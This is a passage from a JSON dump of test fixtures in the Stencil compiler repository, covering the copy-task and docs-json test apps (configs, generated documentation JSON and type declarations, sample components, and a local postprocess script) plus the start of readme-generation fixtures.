    "content": "import { Config } from '@stencil/core';\n\nexport const config: Config = {\n  namespace: 'copytask',\n  outputTargets: [\n    {\n      type: 'dist-custom-elements',\n      copy: [\n        {\n          src: './utils/**',\n          dest: './dist/utilsExtra',\n        },\n      ],\n    },\n    {\n      type: 'dist',\n    },\n  ],\n};\n"
  },
  {
    "path": "test/copy-task/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"declaration\": false,\n    \"experimentalDecorators\": true,\n    \"lib\": [\n      \"dom\",\n      \"es2017\"\n    ],\n    \"moduleResolution\": \"node\",\n    \"module\": \"esnext\",\n    \"target\": \"es2017\",\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"skipLibCheck\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"paths\": {\n      \"@stencil/core\": [\n        \"../../internal\"\n      ],\n      \"@stencil/core/compiler\": [\n        \"../../compiler\"\n      ],\n      \"@stencil/core/internal\": [\n        \"../../internal\"\n      ]\n    }\n  },\n  \"include\": [\n    \"src\"\n  ],\n  \"exclude\": [\n    \"node_modules\",\n    \"src/__mocks__\"\n  ]\n\n}\n"
  },
  {
    "path": "test/copy-task/validate.mts",
    "content": "import assert from 'node:assert';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\nimport url from 'node:url';\n\nconst __dirname = path.dirname(url.fileURLToPath(import.meta.url));\n\nconsole.log('Running copy-task validate script');\n\nconst utilsExtraFiles = await fs.readdir(path.resolve(__dirname, 'dist', 'utilsExtra'));\nassert.equal(\n  JSON.stringify(utilsExtraFiles),\n  JSON.stringify(['utils.spec.ts', 'utils.ts'])\n);\n\nconst copiesMockDirIntoCollection = await fs.access(path.resolve(__dirname, 'dist', 'collection', '__mocks__'))\n  .then(() => true, () => false);\nassert(!copiesMockDirIntoCollection);\n\nconsole.log(`✅ All assertions passed`);\n"
  },
  {
    "path": "test/docs-json/custom-elements-manifest.json",
    "content": "{\n  \"schemaVersion\": \"2.1.0\",\n  \"modules\": [\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/components/my-component/my-component.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"my-component\",\n          \"name\": \"MyComponent\",\n          \"members\": [\n            {\n              \"kind\": \"method\",\n              \"name\": \"onDidDismiss\",\n              \"description\": \"A comment, which should be included, I should think!\",\n              \"parameters\": [\n                {\n                  \"name\": \"arg\",\n                  \"type\": {\n                    \"text\": \"T\",\n                    \"references\": [\n                      {\n                        \"name\": \"Promise\",\n                        \"package\": \"global:\"\n                      },\n                      {\n                        \"name\": \"ImportedInterface\",\n                        \"module\": \"./imported-interface\"\n                      },\n                      {\n                        \"name\": \"T\",\n                        \"package\": \"global:\"\n                      }\n                    ]\n                  }\n                }\n              ],\n              \"return\": {\n                \"type\": {\n                  \"text\": \"Promise<ImportedInterface<T>>\",\n                  \"references\": [\n                    {\n                      \"name\": \"Promise\",\n                      \"package\": \"global:\"\n                    },\n                    {\n                      \"name\": \"ImportedInterface\",\n                      \"module\": \"./imported-interface\"\n                    },\n                    {\n                      \"name\": \"T\",\n                      \"package\": \"global:\"\n                    }\n                  ]\n                }\n              }\n            }\n          ],\n          \"cssProperties\": [\n            {\n              \"name\": \"--background\",\n              \"description\": \"the background color\"\n            },\n            {\n              \"name\": \"--background\",\n              \"description\": \"the background color\"\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"MyComponent\",\n          \"declaration\": {\n            \"name\": \"MyComponent\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"my-component\",\n          \"declaration\": {\n            \"name\": \"MyComponent\"\n          }\n        }\n      ]\n    }\n  ]\n}"
  },
  {
    "path": "test/docs-json/docs.d.ts",
    "content": "\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * DO NOT MODIFY IT MANUALLY\n */\ninterface ComponentCompilerPropertyComplexType {\n  /**\n   * The string of the original type annotation in the Stencil source code\n   */\n  original: string;\n  /**\n   * A 'resolved' type, where e.g. imported types have been resolved and inlined\n   *\n   * For instance, an annotation like `(foo: Foo) => string;` will be\n   * converted to `(foo: { foo: string }) => string;`.\n   */\n  resolved: string;\n  /**\n   * A record of the types which were referenced in the assorted type\n   * annotation in the original source file.\n   */\n  references: ComponentCompilerTypeReferences;\n}\ntype ComponentCompilerTypeReferences = Record<string, ComponentCompilerTypeReference>;\ninterface ComponentCompilerTypeReference {\n  /**\n   * A type may be defined:\n   * - locally (in the same file as the component that uses it)\n   * - globally\n   * - by importing it into a file (and is defined elsewhere)\n   */\n  location: \"local\" | \"global\" | \"import\";\n  /**\n   * The path to the type reference, if applicable (global types should not need a path associated with them)\n   */\n  path?: string;\n  /**\n   * An ID for this type which is unique within a Stencil project.\n   */\n  id: string;\n  /**\n   * Whether this type was imported as a default import (e.g., `import MyEnum from './my-enum'`)\n   * vs a named import (e.g., `import { MyType } from './my-type'`)\n   */\n  isDefault?: boolean;\n  /**\n   * The name used in the import statement (before any user-defined alias).\n   * For `import { XAxisOption as moo }`, this would be \"XAxisOption\".\n   * This is the name exported by the source module.\n   */\n  referenceLocation?: string;\n}\ninterface ComponentCompilerReferencedType {\n  /**\n   * The path to the module where the type is declared.\n   */\n  path: string;\n  /**\n   * The string of the original type annotation in the Stencil source code\n   */\n  declaration: string;\n  /**\n   * An extracted docstring\n   */\n  docstring: string;\n}\ninterface ComponentCompilerEventComplexType {\n  original: string;\n  resolved: string;\n  references: ComponentCompilerTypeReferences;\n}\ninterface ComponentCompilerMethodComplexType {\n  signature: string;\n  parameters: JsonDocMethodParameter[];\n  references: ComponentCompilerTypeReferences;\n  return: string;\n}\n/**\n * The Type Library holds information about the types which are used in a\n * Stencil project. During compilation, Stencil gathers information about the\n * types which form part of a component's public API, such as properties\n * decorated with `@Prop`, `@Event`, `@Watch`, etc. This type information is\n * then added to the Type Library, where it can be accessed later on for\n * generating documentation.\n *\n * This information is included in the file written by the `docs-json` output\n * target (see {@link JsonDocs.typeLibrary}).\n */\nexport type JsonDocsTypeLibrary = Record<string, ComponentCompilerReferencedType>;\n/**\n * A container for JSDoc metadata for a project\n */\nexport interface JsonDocs {\n  /**\n   * The metadata for the JSDocs for each component in a Stencil project\n   */\n  components: JsonDocsComponent[];\n  /**\n   * The timestamp at which the metadata was generated, in the format YYYY-MM-DDThh:mm:ss\n   */\n  timestamp: string;\n  compiler: {\n    /**\n     * The name of the compiler that generated the metadata\n     */\n    name: string;\n    /**\n     * The version of the Stencil compiler that generated the metadata\n     */\n    version: string;\n    /**\n     * The version of TypeScript that was used to generate the metadata\n     */\n    typescriptVersion: string;\n  };\n  typeLibrary: JsonDocsTypeLibrary;\n}\n/**\n * Container for JSDoc metadata for a single Stencil component\n */\nexport interface JsonDocsComponent {\n  /**\n   * The directory containing the Stencil component, minus the file name.\n   *\n   * @example /workspaces/stencil-project/src/components/my-component\n   */\n  dirPath?: string;\n  /**\n   * The name of the file containing the Stencil component, with no path\n   *\n   * @example my-component.tsx\n   */\n  fileName?: string;\n  /**\n   * The full path of the file containing the Stencil component\n   *\n   * @example /workspaces/stencil-project/src/components/my-component/my-component.tsx\n   */\n  filePath?: string;\n  /**\n   * The path to the component's `readme.md` file, including the filename\n   *\n   * @example /workspaces/stencil-project/src/components/my-component/readme.md\n   */\n  readmePath?: string;\n  /**\n   * The path to the component's `usage` directory\n   *\n   * @example /workspaces/stencil-project/src/components/my-component/usage/\n   */\n  usagesDir?: string;\n  /**\n   * The encapsulation strategy for a component\n   */\n  encapsulation: \"shadow\" | \"scoped\" | \"none\";\n  /**\n   * The tag name for the component, for use in HTML\n   */\n  tag: string;\n  /**\n   * The contents of a component's `readme.md` that are user generated.\n   *\n   * Auto-generated contents are not stored in this reference.\n   */\n  readme: string;\n  /**\n   * The description of a Stencil component, found in the JSDoc that sits above the component's declaration\n   */\n  docs: string;\n  /**\n   * JSDoc tags found in the JSDoc comment written atop a component's declaration\n   */\n  docsTags: JsonDocsTag[];\n  /**\n   * The text from the class-level JSDoc for a Stencil component, if present.\n   */\n  overview?: string;\n  /**\n   * A mapping of usage example file names to their contents for the component.\n   */\n  usage: JsonDocsUsage;\n  /**\n   * Array of metadata for a component's `@Prop`s\n   */\n  props: JsonDocsProp[];\n  /**\n   * Array of metadata for a component's `@Method`s\n   */\n  methods: JsonDocsMethod[];\n  /**\n   * Array of metadata for a component's `@Event`s\n   */\n  events: JsonDocsEvent[];\n  /**\n   * Array of metadata for a component's `@Listen` handlers\n   */\n  listeners: JsonDocsListener[];\n  /**\n   * Array of metadata for a component's CSS styling information\n   */\n  styles: JsonDocsStyle[];\n  /**\n   * Array of component Slot information, generated from `@slot` tags\n   */\n  slots: JsonDocsSlot[];\n  /**\n   * Array of component Parts information, generate from `@part` tags\n   */\n  parts: JsonDocsPart[];\n  /**\n   * Array of custom states defined via @AttachInternals({ states: {...} })\n   */\n  customStates: JsonDocsCustomState[];\n  /**\n   * Array of metadata describing where the current component is used\n   */\n  dependents: string[];\n  /**\n   * Array of metadata listing the components which are used in current component\n   */\n  dependencies: string[];\n  /**\n   * Describes a tree of components coupling\n   */\n  dependencyGraph: JsonDocsDependencyGraph;\n  /**\n   * A deprecation reason/description found following a `@deprecated` tag\n   */\n  deprecation?: string;\n}\nexport interface JsonDocsDependencyGraph {\n  [tagName: string]: string[];\n}\n/**\n * A descriptor for a single JSDoc tag found in a block comment\n */\nexport interface JsonDocsTag {\n  /**\n   * The tag name (immediately following the '@')\n   */\n  name: string;\n  /**\n   * The description that immediately follows the tag name\n   */\n  text?: string;\n}\nexport interface JsonDocsValue {\n  value?: string;\n  type: string;\n}\n/**\n * A mapping of file names to their contents.\n *\n * This type is meant to be used when reading one or more usage markdown files associated with a component. For the\n * given directory structure:\n * ```\n * src/components/my-component\n * ├── my-component.tsx\n * └── usage\n *     ├── bar.md\n *     └── foo.md\n * ```\n * an instance of this type would include the name of the markdown file, mapped to its contents:\n * ```ts\n * {\n *   'bar': STRING_CONTENTS_OF_BAR.MD\n *   'foo': STRING_CONTENTS_OF_FOO.MD\n * }\n * ```\n */\nexport interface JsonDocsUsage {\n  [key: string]: string;\n}\n/**\n * An intermediate representation of a `@Prop` decorated member's JSDoc\n */\nexport interface JsonDocsProp {\n  /**\n   * the name of the prop\n   */\n  name: string;\n  complexType?: ComponentCompilerPropertyComplexType;\n  /**\n   * the type of the prop, in terms of the TypeScript type system (as opposed to JavaScript's or HTML's)\n   */\n  type: string;\n  /**\n   * `true` if the prop was configured as \"mutable\" where it was declared, `false` otherwise\n   */\n  mutable: boolean;\n  /**\n   * The name of the attribute that is exposed to configure a compiled web component\n   */\n  attr?: string;\n  /**\n   * `true` if the prop was configured to \"reflect\" back to HTML where it (the prop) was declared, `false` otherwise\n   */\n  reflectToAttr: boolean;\n  /**\n   * the JSDoc description text associated with the prop\n   */\n  docs: string;\n  /**\n   * JSDoc tags associated with the prop\n   */\n  docsTags: JsonDocsTag[];\n  /**\n   * The default value of the prop\n   */\n  default?: string;\n  /**\n   * Deprecation text associated with the prop. This is the text that immediately follows a `@deprecated` tag\n   */\n  deprecation?: string;\n  values: JsonDocsValue[];\n  /**\n   * `true` if a component is declared with a '?', `false` otherwise\n   *\n   * @example\n   * ```tsx\n   * @Prop() componentProps?: any;\n   * ```\n   */\n  optional: boolean;\n  /**\n   * `true` if a component is declared with a '!', `false` otherwise\n   *\n   * @example\n   * ```tsx\n   * @Prop() componentProps!: any;\n   * ```\n   */\n  required: boolean;\n  /**\n   * `true` if the prop has a `get()`. `false` otherwise\n   */\n  getter: boolean;\n  /**\n   * `true` if the prop has a `set()`. `false` otherwise\n   */\n  setter: boolean;\n}\nexport interface JsonDocsMethod {\n  name: string;\n  docs: string;\n  docsTags: JsonDocsTag[];\n  deprecation?: string;\n  signature: string;\n  returns: JsonDocsMethodReturn;\n  parameters: JsonDocMethodParameter[];\n  complexType: ComponentCompilerMethodComplexType;\n}\nexport interface JsonDocsMethodReturn {\n  type: string;\n  docs: string;\n}\nexport interface JsonDocMethodParameter {\n  name: string;\n  type: string;\n  docs: string;\n}\nexport interface JsonDocsEvent {\n  event: string;\n  bubbles: boolean;\n  cancelable: boolean;\n  composed: boolean;\n  complexType: ComponentCompilerEventComplexType;\n  docs: string;\n  docsTags: JsonDocsTag[];\n  deprecation?: string;\n  detail: string;\n}\n/**\n * Type describing a CSS Style, as described by a JSDoc-style comment\n */\nexport interface JsonDocsStyle {\n  /**\n   * The name of the style\n   */\n  name: string;\n  /**\n   * The type/description associated with the style\n   */\n  docs: string;\n  /**\n   * The annotation used in the JSDoc of the style (e.g. `@prop`)\n   */\n  annotation: string;\n  /**\n   * The mode associated with the style\n   */\n  mode: string | undefined;\n}\nexport interface JsonDocsListener {\n  event: string;\n  target?: string;\n  capture: boolean;\n  passive: boolean;\n}\n/**\n * A descriptor for a slot\n *\n * Objects of this type are translated from the JSDoc tag, `@slot`\n */\nexport interface JsonDocsSlot {\n  /**\n   * The name of the slot. Defaults to an empty string for an unnamed slot.\n   */\n  name: string;\n  /**\n   * A textual description of the slot.\n   */\n  docs: string;\n}\n/**\n * A descriptor of a CSS Shadow Part\n *\n * Objects of this type are translated from the JSDoc tag, `@part`, or the 'part'\n * attribute on a component in TSX\n */\nexport interface JsonDocsPart {\n  /**\n   * The name of the Shadow part\n   */\n  name: string;\n  /**\n   * A textual description of the Shadow part.\n   */\n  docs: string;\n}\n/**\n * A descriptor for a Custom State defined via @AttachInternals({ states: {...} })\n *\n * Custom states are exposed via the ElementInternals.states CustomStateSet\n * and can be targeted with the CSS `:state()` pseudo-class.\n *\n * @see https://developer.mozilla.org/en-US/docs/Web/API/CustomStateSet\n */\nexport interface JsonDocsCustomState {\n  /**\n   * The name of the custom state (without dashes)\n   */\n  name: string;\n  /**\n   * The initial/default value of the state\n   */\n  initialValue: boolean;\n  /**\n   * A textual description of the custom state\n   */\n  docs: string;\n}\n/**\n * Represents a parsed block comment in a CSS, Sass, etc. file for a custom property.\n */\nexport interface StyleDoc {\n  /**\n   * The name of the CSS property\n   */\n  name: string;\n  /**\n   * The user-defined description of the CSS property\n   */\n  docs: string;\n  /**\n   * The JSDoc-style annotation (e.g. `@prop`) that was used in the block comment to detect the comment.\n   * Used to inform Stencil where the start of a new property's description starts (and where the previous description\n   * ends).\n   */\n  annotation: \"prop\";\n  /**\n   * The Stencil style-mode that is associated with this property.\n   */\n  mode: string | undefined;\n}\n\nexport {};\n\ndeclare const _default: JsonDocs;\nexport default _default;\n"
  },
  {
    "path": "test/docs-json/docs.json",
    "content": "{\n  \"components\": [\n    {\n      \"filePath\": \"src/components/my-component/my-component.tsx\",\n      \"encapsulation\": \"shadow\",\n      \"tag\": \"my-component\",\n      \"docs\": \"\",\n      \"docsTags\": [],\n      \"usage\": {},\n      \"props\": [],\n      \"methods\": [\n        {\n          \"name\": \"onDidDismiss\",\n          \"returns\": {\n            \"type\": \"Promise<ImportedInterface<T>>\",\n            \"docs\": \"\"\n          },\n          \"complexType\": {\n            \"signature\": \"<T>(arg: T) => Promise<ImportedInterface<T>>\",\n            \"parameters\": [\n              {\n                \"name\": \"arg\",\n                \"type\": \"T\",\n                \"docs\": \"\"\n              }\n            ],\n            \"references\": {\n              \"Promise\": {\n                \"location\": \"global\",\n                \"id\": \"global::Promise\"\n              },\n              \"ImportedInterface\": {\n                \"location\": \"import\",\n                \"path\": \"./imported-interface\",\n                \"id\": \"src/components/my-component/imported-interface.ts::ImportedInterface\",\n                \"referenceLocation\": \"ImportedInterface\"\n              },\n              \"T\": {\n                \"location\": \"global\",\n                \"id\": \"global::T\"\n              }\n            },\n            \"return\": \"Promise<ImportedInterface<T>>\"\n          },\n          \"signature\": \"onDidDismiss<T>(arg: T) => Promise<ImportedInterface<T>>\",\n          \"parameters\": [\n            {\n              \"name\": \"arg\",\n              \"type\": \"T\",\n              \"docs\": \"\"\n            }\n          ],\n          \"docs\": \"A comment, which should be included, I should think!\",\n          \"docsTags\": []\n        }\n      ],\n      \"events\": [],\n      \"listeners\": [],\n      \"styles\": [\n        {\n          \"name\": \"--background\",\n          \"annotation\": \"prop\",\n          \"docs\": \"the background color\",\n          \"mode\": \"ios\"\n        },\n        {\n          \"name\": \"--background\",\n          \"annotation\": \"prop\",\n          \"docs\": \"the background color\",\n          \"mode\": \"md\"\n        }\n      ],\n      \"slots\": [],\n      \"parts\": [],\n      \"states\": [],\n      \"dependents\": [],\n      \"dependencies\": [],\n      \"dependencyGraph\": {}\n    }\n  ],\n  \"typeLibrary\": {\n    \"src/components/my-component/imported-interface.ts::ImportedInterface\": {\n      \"declaration\": \"export interface ImportedInterface<T> {\\n  test: 'boop';\\n  another: T;\\n}\",\n      \"docstring\": \"Some JSDoc here describing something or other\\n\\nIt's multi-line, etc.\",\n      \"path\": \"src/components/my-component/imported-interface.ts\"\n    },\n    \"src/components/interfaces.ts::Pie\": {\n      \"declaration\": \"export interface Pie {\\n  /**\\n   * What flavor of pie, hmm?\\n   *\\n   * This JSDoc should show up in the 'declaration' field in the JSON output.\\n   */\\n  type: 'pumpkin' | 'apple' | 'pecan';\\n  name: string;\\n  diameter: number;\\n}\",\n      \"docstring\": \"Interface that should be included\",\n      \"path\": \"src/components/interfaces.ts\"\n    },\n    \"src/components/interfaces.ts::FooBar\": {\n      \"declaration\": \"{\\n  biz: string;\\n}\",\n      \"docstring\": \"\",\n      \"path\": \"src/components/interfaces.ts\"\n    },\n    \"src/components/interfaces.ts::FizzBuzz\": {\n      \"declaration\": \"export enum FizzBuzz {\\n  One,\\n  Two,\\n  Three,\\n}\",\n      \"docstring\": \"Enum that should be included\",\n      \"path\": \"src/components/interfaces.ts\"\n    },\n    \"src/components/interfaces.ts::StringUnion\": {\n      \"declaration\": \"export type StringUnion = 'left' | 'right';\",\n      \"docstring\": \"\",\n      \"path\": \"src/components/interfaces.ts\"\n    },\n    \"src/components/test-not-used.ts::ReExportedUnderNewNameWithType\": {\n      \"declaration\": \"export interface ReExportedUnderNewNameWithType {\\n  test: string;\\n}\",\n      \"docstring\": \"If I show up then a re-export w/ alias and `export type` works!\",\n      \"path\": \"src/components/test-not-used.ts\"\n    },\n    \"src/components/test-not-used.ts::ReExportedUnderNewName\": {\n      \"declaration\": \"export interface ReExportedUnderNewName {\\n  test: string;\\n}\",\n      \"docstring\": \"If I show up then a re-export w/ alias works!\",\n      \"path\": \"src/components/test-not-used.ts\"\n    },\n    \"src/components/test-not-used.ts::ReExportedWithType\": {\n      \"declaration\": \"export interface ReExportedWithType {\\n  test: string;\\n}\",\n      \"docstring\": \"If I show up then a re-export w/ `export type` works!\",\n      \"path\": \"src/components/test-not-used.ts\"\n    },\n    \"src/components/test-not-used.ts::ReExported\": {\n      \"declaration\": \"export interface ReExported {\\n  test: string;\\n}\",\n      \"docstring\": \"If I show up then a re-export works!\",\n      \"path\": \"src/components/test-not-used.ts\"\n    },\n    \"src/components/test-not-used.ts::IncludedInWildcard\": {\n      \"declaration\": \"export interface IncludedInWildcard {\\n  test: string;\\n}\",\n      \"docstring\": \"If I show up then a `export * from '...'` works!\",\n      \"path\": \"src/components/test-not-used.ts\"\n    }\n  }\n}"
  },
  {
    "path": "test/docs-json/package.json",
    "content": "{\n  \"name\": \"json-docs-testbed\",\n  \"version\": \"1.0.0\",\n  \"description\": \"A test app for the docs-json output target\",\n  \"files\": [\n    \"dist/\"\n  ],\n  \"scripts\": {\n    \"build\": \"node ../../bin/stencil build && npm run postprocess\",\n    \"postprocess\": \"node scripts/postprocess.js\",\n    \"build.dev\": \"node ../../bin/stencil build --dev\",\n    \"start\": \"node ../../bin/stencil build --dev --watch --serve\",\n    \"test\": \"node ../../bin/stencil test --spec --e2e\",\n    \"test.watch\": \"node ../../bin/stencil test --spec --e2e --watch\",\n    \"generate\": \"node ../../bin/stencil generate\"\n  },\n  \"license\": \"MIT\"\n}\n"
  },
  {
    "path": "test/docs-json/readme.md",
    "content": "# docs-json test app\n\nThis directory contains a test application which exercises the `docs-json`\noutput target, including the `supplementalPublicTypes` option which allows\nStencil component authors to specify a file exporting types which should be\ndocumented even if they're not used in the public API of any Stencil components\nin the project.\n\nHere are some relevant files, with notes on what they're testing:\n\n```\ndocs-json\n├── docs.d.ts // generated `.d.ts` output\n├── docs.json // generated documentation output\n└── src\n    └── components\n        │ // interfaces which are not used by components in the file.\n        │ // this file is specified with the `supplementalPublicTypes`\n        │ // option, testing that all the types exported from the file\n        │ // show up in the compiled output\n        ├── interfaces.ts\n        ├── my-component\n        │   │ // this file exports an interface which is used in\n        │   │ // `my-component.tsx`. This tests that the original\n        │   │ // declaration of the interface is correctly resolved\n        │   │ // for inclusion in the compiled output\n        │   ├── imported-interface.ts\n        │   ├── my-component.tsx\n        │   └── readme.md\n        │ // this exports two interfaces which are not used in the\n        │ // sole component within this project. these are re-exported\n        │ // from `interfaces.ts`, however, testing that the correct\n        │ // types are resolved when re-exported from the file\n        │ // specified for `supplementalPublicTypes`\n        └── test-not-used.ts\n```"
  },
  {
    "path": "test/docs-json/scripts/postprocess.js",
    "content": "const path = require('path');\nconst fs = require('fs');\n\nconst docsJsonOutputFilePath = path.join('.', 'docs.json');\n\nconst docsJsonContents = JSON.parse(fs.readFileSync(docsJsonOutputFilePath));\n\n// these two fields will vary given the machine and so on that the application\n// is built on, so we need to just delete them\ndelete docsJsonContents['timestamp'];\ndelete docsJsonContents['compiler'];\n\n// then rewrite the file, indenting the JSON for easy reading.\nfs.writeFileSync(docsJsonOutputFilePath, JSON.stringify(docsJsonContents, null, 2));\n"
  },
  {
    "path": "test/docs-json/src/components/interfaces.ts",
    "content": "/**\n * Interface that should be included\n */\nexport interface Pie {\n  /**\n   * What flavor of pie, hmm?\n   *\n   * This JSDoc should show up in the 'declaration' field in the JSON output.\n   */\n  type: 'pumpkin' | 'apple' | 'pecan';\n  name: string;\n  diameter: number;\n}\n\n/**\n * Type that should be included\n *\n */\nexport type FooBar = {\n  biz: string;\n};\n\n/**\n * Enum that should be included\n */\nexport enum FizzBuzz {\n  One,\n  Two,\n  Three,\n}\n\n// a union type like this should show up\nexport type StringUnion = 'left' | 'right';\n\n// re-export w/ alias and `export type`, should be under original name in `docs.json`\nexport type { ReExportedUnderNewNameWithType as BestInterface } from './test-not-used';\n// re-export w/ alias, should be under original name in `docs.json`\nexport { ReExportedUnderNewName as BetterInterface } from './test-not-used';\n// re-export w/ `export type`\nexport type { ReExportedWithType } from './test-not-used';\n// re-export\nexport { ReExported } from './test-not-used';\n\nexport * from './test-not-used';\n"
  },
  {
    "path": "test/docs-json/src/components/my-component/imported-interface.ts",
    "content": "/**\n * Some JSDoc here describing something or other\n *\n * It's multi-line, etc.\n */\nexport interface ImportedInterface<T> {\n  test: 'boop';\n  another: T;\n}\n\nexport async function importedInterface<T>(foo: T): Promise<ImportedInterface<T>> {\n  return {\n    test: 'boop',\n    another: foo,\n  };\n}\n"
  },
  {
    "path": "test/docs-json/src/components/my-component/my-component.ios.css",
    "content": ":host {\n  /**\n   * @prop --background: the background color\n   */\n  background: blue;\n}\n"
  },
  {
    "path": "test/docs-json/src/components/my-component/my-component.md.css",
    "content": ":host {\n  /**\n   * @prop --background: the background color\n   */\n  background: red;\n}\n"
  },
  {
    "path": "test/docs-json/src/components/my-component/my-component.tsx",
    "content": "import { Component, h, Method } from '@stencil/core';\n\nimport { ImportedInterface, importedInterface } from './imported-interface';\n\n@Component({\n  tag: 'my-component',\n  styleUrls: {\n    ios: './my-component.ios.css',\n    md: './my-component.md.css',\n  },\n  shadow: true,\n})\nexport class MyComponent {\n  /**\n   * A comment, which should be included, I should think!\n   */\n  @Method()\n  onDidDismiss<T>(arg: T): Promise<ImportedInterface<T>> {\n    return importedInterface(arg);\n  }\n\n  render() {\n    return <div>Hello, World! I'm a mess 🫠</div>;\n  }\n}\n"
  },
  {
    "path": "test/docs-json/src/components/test-not-used.ts",
    "content": "/**\n * If I show up then a re-export w/ alias and `export type` works!\n */\nexport interface ReExportedUnderNewNameWithType {\n  test: string;\n}\n\n/**\n * If I show up then a re-export w/ alias works!\n */\nexport interface ReExportedUnderNewName {\n  test: string;\n}\n\n/**\n * If I show up then a re-export works!\n */\nexport interface ReExported {\n  test: string;\n}\n\n/**\n * If I show up then a re-export w/ `export type` works!\n */\nexport interface ReExportedWithType {\n  test: string;\n}\n\n/**\n * If I show up then a `export * from '...'` works!\n */\nexport interface IncludedInWildcard {\n  test: string;\n}\n"
  },
  {
    "path": "test/docs-json/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nimport { ImportedInterface } from \"./components/my-component/imported-interface\";\nexport { ImportedInterface } from \"./components/my-component/imported-interface\";\nexport namespace Components {\n    interface MyComponent {\n        /**\n          * A comment, which should be included, I should think!\n         */\n        \"onDidDismiss\": <T>(arg: T) => Promise<ImportedInterface<T>>;\n    }\n}\ndeclare global {\n    interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n    }\n    var HTMLMyComponentElement: {\n        prototype: HTMLMyComponentElement;\n        new (): HTMLMyComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"my-component\": HTMLMyComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface MyComponent {\n    }\n    interface IntrinsicElements {\n        \"my-component\": MyComponent;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"my-component\": LocalJSX.IntrinsicElements[\"my-component\"] & JSXBase.HTMLAttributes<HTMLMyComponentElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/docs-json/src/index.html",
    "content": "<!DOCTYPE html>\n<html dir=\"ltr\" lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=5.0\" />\n    <title>Stencil Component Starter</title>\n\n    <script type=\"module\" src=\"/build/json-docs-testbed.esm.js\"></script>\n    <script nomodule src=\"/build/json-docs-testbed.js\"></script>\n  </head>\n  <body>\n    <my-component first=\"Stencil\" last=\"'Don't call me a framework' JS\"></my-component>\n  </body>\n</html>\n"
  },
  {
    "path": "test/docs-json/src/index.ts",
    "content": "export * from './components';\n"
  },
  {
    "path": "test/docs-json/stencil.config.ts",
    "content": "import { Config } from '@stencil/core';\nexport const config: Config = {\n  namespace: 'json-docs-testbed',\n  outputTargets: [\n    {\n      // needed to generate additional doc-metadata for styles, as the `ext-transform-plugin` does not run solely when\n      // 'docs-json' is run\n      type: 'dist-custom-elements',\n    },\n    {\n      type: 'docs-json',\n      file: 'docs.json',\n      supplementalPublicTypes: 'src/components/interfaces.ts',\n    },\n    {\n      type: 'docs-custom-elements-manifest',\n      file: 'custom-elements-manifest.json',\n    },\n  ],\n};\n"
  },
  {
    "path": "test/docs-json/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"declaration\": false,\n    \"experimentalDecorators\": true,\n    \"lib\": [\n      \"dom\",\n      \"es2017\"\n    ],\n    \"moduleResolution\": \"node\",\n    \"module\": \"esnext\",\n    \"target\": \"es2017\",\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"paths\": {\n      \"@stencil/core/testing\": [\n        \"../../src/testing/index.ts\"\n      ],\n      \"@stencil/core\": [\n        \"../../internal\"\n      ],\n      \"@stencil/core/compiler\": [\n        \"../../compiler\"\n      ],\n      \"@stencil/core/internal\": [\n        \"../../internal\"\n      ]\n    }\n  },\n  \"include\": [\n    \"src\"\n  ],\n  \"exclude\": [\n    \"node_modules\"\n  ]\n\n}\n"
  },
  {
    "path": "test/docs-readme/custom-readme-output/components/styleurls-component/readme.md",
    "content": "# styleurls-component\n\nThis file is in a custom location, set with `.dir` on the `docs-readme` OT.\n\nThe content here above the 'auto-generation' comment shouldn't be overwritten.\n\nThis is a regression test for the issue reported in stenciljs/core#5400.\n\n<!-- Auto Generated Below -->\n\n\n## CSS Custom Properties\n\n| Name    | Description  |\n| ------- | ------------ |\n| `--one` | Property One |\n| `--two` | Property Two |\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/docs-readme/custom-readme-output-overwrite/components/styleurls-component/readme-supplemental.md",
    "content": "# styleurls-component\n\nThis file is in a custom location, set with `.dir` on the `docs-readme` OT and `overwriteExisting` set to `true`.\n\nThe content here above the 'auto-generation' comment _should be overwritten_. It is copied into place by the `copy-readme.js` script before the `build` is performed and is expected to be overwritten by the version located beside the component, which is checked into Git here for a static reference. If it is not overwritten, the test will fail, indicating an issue with the overwrite process.\n\nThis is a regression test for the issue reported in stenciljs/core#6248.\n\n<!-- Auto Generated Below -->\n\n## CSS Custom Properties\n\n| Name    | Description  |\n| ------- | ------------ |\n| `--one` | Property One |\n| `--two` | Property Two |\n\n---\n\n_Built with [StencilJS](https://stenciljs.com/)_\n"
  },
  {
    "path": "test/docs-readme/custom-readme-output-overwrite/components/styleurls-component/readme.md",
